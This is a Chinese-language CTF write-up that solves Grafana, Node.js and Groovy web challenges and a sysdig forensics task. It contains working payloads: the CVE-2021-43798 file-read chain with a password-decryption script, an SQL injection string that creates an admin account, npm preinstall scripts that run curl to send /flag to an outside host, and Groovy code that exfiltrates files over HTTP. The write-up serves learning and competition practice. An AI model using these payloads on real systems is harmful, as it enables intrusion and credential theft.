感觉可以抽个时间专门再学学SQL注入了…
Web#
easy_grafana#
打开题目,Grafana v8.2.6,经典CVE-2021-43798,但是原始的POC没法用,返回400,后来查了一下发现可能是中间件对URL做了标准化导致没法打,在POC中添加#
可以顺利绕过。
读取配置文件/etc/grafana/grafana.ini
,发现SecretKey:
1
| secret_key = SW2YcwTIb9zpO1hoPsMm
|
然后就是脱裤/var/lib/grafana/grafana.db
,在data_source
表中的secure_json_data
列中找到加密后的登录密码:
1
| {"password":"b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/"}
|
随便Github找了个脚本解密即可:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
| import base64
from hashlib import pbkdf2_hmac
from Crypto.Cipher import AES
saltLength = 8
aesCfb = "aes-cfb"
aesGcm = "aes-gcm"
encryptionAlgorithmDelimiter = '*'
nonceByteSize = 12
def decrypt(payload, secret):
alg, payload, err = deriveEncryptionAlgorithm(payload)
if err is not None:
return None, err
if len(payload) < saltLength:
return None, "Unable to compute salt"
salt = payload[:saltLength]
key, err = encryptionKeyToBytes(secret, salt)
if err is not None:
return None, err
if alg == aesCfb:
return decryptCFB(payload, key)
elif alg == aesGcm:
return decryptGCM(payload, key)
return None, None
def encryptionKeyToBytes(secret, salt):
return pbkdf2_hmac("sha256", secret.encode("utf-8"), salt, 10000, 32), None
def deriveEncryptionAlgorithm(payload):
if len(payload) == 0:
return "", None, "Unable to derive encryption"
if payload[0] != encryptionAlgorithmDelimiter.encode():
return aesCfb, payload, None
payload = payload[:1]
def decryptGCM(payload, key):
nonce = payload[saltLength: saltLength+nonceByteSize]
payload = payload[saltLength+nonceByteSize:]
gcm = AES.new(key, AES.MODE_GCM, nonce, segment_size=128)
return gcm.decrypt(payload).decode(), None
def decryptCFB(payload, key):
if len(payload) < AES.block_size:
return None, "Payload too short"
iv = payload[saltLength: saltLength + AES.block_size]
payload = payload[saltLength+AES.block_size:]
cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)
return cipher.decrypt(payload).decode(), None
if __name__ == "__main__":
grafanaIni_secretKey = "SW2YcwTIb9zpO1hoPsMm"
dataSourcePassword = "b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/"
encrypted = base64.b64decode(dataSourcePassword.encode())
pwdBytes, _ = decrypt(encrypted, grafanaIni_secretKey)
print(pwdBytes)
|
Reference#
ctf_cloud#
题目点进去有注册和登录,附件给了源码,顺手就找到了注册和登录的路由:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
| /* login */
router.post('/signin', function(req, res, next) {
var username = req.body.username;
var password = req.body.password;
if (username == '' || password == '')
return res.json({"code" : -1 , "message" : "Please input username and password."});
if (!passwordCheck(password))
return res.json({"code" : -1 , "message" : "Password is not valid."});
db.get("SELECT * FROM users WHERE NAME = ? AND PASSWORD = ?", [username, password], function(err, row) {
if (err) {
console.log(err);
return res.json({"code" : -1, "message" : "Error executing SQL query"});
}
if (!row) {
return res.json({"code" : -1 , "msg" : "Username or password is incorrect"});
}
req.session.is_login = 1;
if (row.NAME === "admin" && row.PASSWORD == password && row.ACTIVE == 1) {
req.session.is_admin = 1;
}
return res.json({"code" : 0, "message" : "Login successful"});
});
});
/* register */
router.post('/signup', function(req, res, next) {
var username = req.body.username;
var password = req.body.password;
if (username == '' || password == '')
return res.json({"code" : -1 , "message" : "Please input username and password."});
// check if username exists
db.get("SELECT * FROM users WHERE NAME = ?", [username], function(err, row) {
if (err) {
console.log(err);
return res.json({"code" : -1, "message" : "Error executing SQL query"});
}
if (row) {
console.log(row)
return res.json({"code" : -1 , "message" : "Username already exists"});
} else {
// in case of sql injection , I'll reset admin's password to a new random string every time.
var randomPassword = stringRandom(100);
db.run(`UPDATE users SET PASSWORD = '${randomPassword}' WHERE NAME = 'admin'`, ()=>{});
// insert new user
var sql = `INSERT INTO users (NAME, PASSWORD, ACTIVE) VALUES (?, '${password}', 0)`;
db.run(sql, [username], function(err) {
if (err) {
console.log(err);
return res.json({"code" : -1, "message" : "Error executing SQL query " + sql});
}
return res.json({"code" : 0, "message" : "Sign up successful"});
});
}
});
});
|
可以看见登录的时候用了直接用的占位符+传参,所以没法注入;但是在注册的地方,插入数据的时候用的是拼接(焯为啥打比赛的时候没看见啊),于是可以通过这里注入。
结合登录的判断逻辑,再加上每次新建用户都会导致管理员密码的更改,所以通过UPDATE
的方法大概是不太行。然后发现数据表中所有列都不是UNIQUE
属性,也就意味着可以重复,此处就可以直接通过注入直接注册一个新的admin,新建用户密码如下即可。
1
| ',0),('admin','123456',1),('test','
|
然后通过admin 123456
就能以管理员身份登录,登进去是个CTF云的啥界面:
继续看源码,发现在public目录下有个app目录,长下面这样:
功能点是可以上传文件到public/uploads目录下,还可以在package.json中添加依赖,并且管理员可以对该目录下的整个Node.js项目进行安装,对应如下代码:
1
2
3
4
5
6
7
8
9
10
11
| /* run npm install */
router.post('/run', function(req, res, next) {
if (!req.session.is_admin)
return res.json({"code" : -1 , "message" : "Please login as admin."});
cp.exec('cd ' + appPath + ' && npm i --registry=https://registry.npm.taobao.org', function(err, stdout, stderr) {
if (err) {
return res.json({"code" : -1 , "message" : "Error running npm install."});
}
return res.json({"code" : 0 , "message" : "Run npm install successful"});
});
});
|
查询NPM官方文档可知,在执行npm install
的整个过程中,会有一些生命周期的操作,使得指定的命令/脚本可以在整个过程的某个特殊节点自动执行。因此可以通过装载一些恶意命令到某个生命周期节点中,这样点击编译,就可以自动执行。
新建一个Github仓库,创建package.json文件,添加个preinstall脚本,然后通过依赖把这个自定义仓库载入进来,就能实现RCE。
1
2
3
4
5
6
7
8
9
| {
"name": "express",
"description": "Fast, unopinionated, minimalist web framework",
"version": "4.18.1",
"author": "TJ Holowaychuk <tj@vision-media.ca>",
"scripts": {
"preinstall": "curl http://IP:PORT/`cat /flag`"
}
}
|
随后添加依赖,POST数据:
1
| {"dependencies":{"test":"git+https://github.com/account/test.git"}}
|
赛后复现的时候不知道是不是网络原因,拉Github仓库经常没反应,所以经常收不到请求,或者需要等很久才能收到。
因此看了其他人的WriteUp,因为Dockerfile里面给了文件的位置,所以还可以通过本地文件来载入依赖。写一个package.json上传,然后把public/uploads目录当作一个Node.js项目进行安装即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| {
"name": "express",
"description": "Fast, unopinionated, minimalist web framework",
"version": "4.18.1",
"author": "TJ Holowaychuk <tj@vision-media.ca>",
"scripts": {
"preinstall": "cat /flag > /usr/local/app/public/a.txt",
"install": "cat /flag > /usr/local/app/public/b.txt",
"postinstall": "cat /flag > /usr/local/app/public/c.txt",
"preprepare": "cat /flag > /usr/local/app/public/d.txt",
"prepare": "cat /flag > /usr/local/app/public/e.txt",
"postprepare": "cat /flag > /usr/local/app/public/f.txt"
}
}
|
添加依赖:
1
| {"dependencies":{"test":"file:./public/uploads"}}
|
随后直接访问根目录下对应文件即可。经过上面的package.json对安装过程的所有生命周期节点都测试了一遍,发现preprepare
和postprepare
没有写入,其他的都写入了文件。
包括上面这两点,NPM的dependencies
支持以下方式加载依赖:
- 从NPM仓库加载,因此也可以把上面的恶意包打包成NPM包来加载,就是略显麻烦hhh
- 从URL加载Tarball形式的包
- 从Git仓库链接加载
git+ssh://git@github.com:npm/cli.git#v1.0.27
git+ssh://git@github.com:npm/cli#semver:^5.0
git+https://isaacs@github.com/npm/cli.git
git://github.com/npm/cli.git#v1.0.27
- 本地目录
Reference#
typing_game#
// TODO
Misc#
signin#
一堆纯前端的关卡,最后请求/api/signin
,需要传参队伍名称和ID,但是不知道队伍ID是啥,于是乎爆破:
easy_groovy#
一个带过滤的Groovy代码执行,试过了Groovy的命令执行代码"ls".execute()
,显示被ban,因此尝试使用Groovy的API直接看看能不能读取到flag。
首先是扫目录,因为无回显,所以需要通过HTTP请求将结果带出来:
1
2
3
4
| def files=new java.io.File("/").listFiles();
for(f in files) {
new URL("http://IP:PORT/"+f.absolutePath).openConnection().getResponseCode()
}
|
然后读flag,简单粗暴:
1
2
3
4
5
6
7
| def file=new java.io.File("/flag");
def line;
file.withReader {
reader -> while((line = reader.readLine()) != null){
new URL("http://IP:PORT/" + line).openConnection().getResponseCode()
}
}
|
find_it#
下载附件,是个.scap
文件,一搜还以为是UEFI固件,然后用file
确认了一下,原来是个流量包hhh
是一个记录了系统调用序列的流量包,首先filter了一下命令执行的,也就是execve()
,对应Wireshark里面的调用号是293,规则sysdig.event_type==293
,在最后几个数据中找到了一些有意思的东西:
首先是这个sh -c
,后面的echo
一眼看出是蚁剑的定界符,所以猜测可能有Webshell的写入操作:
以及下面这个一句话木马的写入操作,更确定了这个猜测:
在对Web日志的写入调用中发现了写一句话的具体URI,还是个ThinkPHP:
紧跟在bash nothing.sh
之后的是一个openssl
加密命令,能推测出传了个图片文件nothing.png(看样子出题人也和我一样没钱恰KFC疯狂星期四捏)
于是去掉filter之后,在其前面的某个read()
调用中找到了nothing.png,扫出来是前半截flag:bytectf{53f8fb16-a25d-4aac-
然后看来看去也没看见其他的命令执行了,想起前面翻到的Web日志,于是接着去找Web的请求信息,找到了这样一个write()
调用:
找到后半截Flag:bec5-d7563b2672b6}
,完整bytectf{53f8fb16-a25d-4aac-bec5-d7563b2672b6}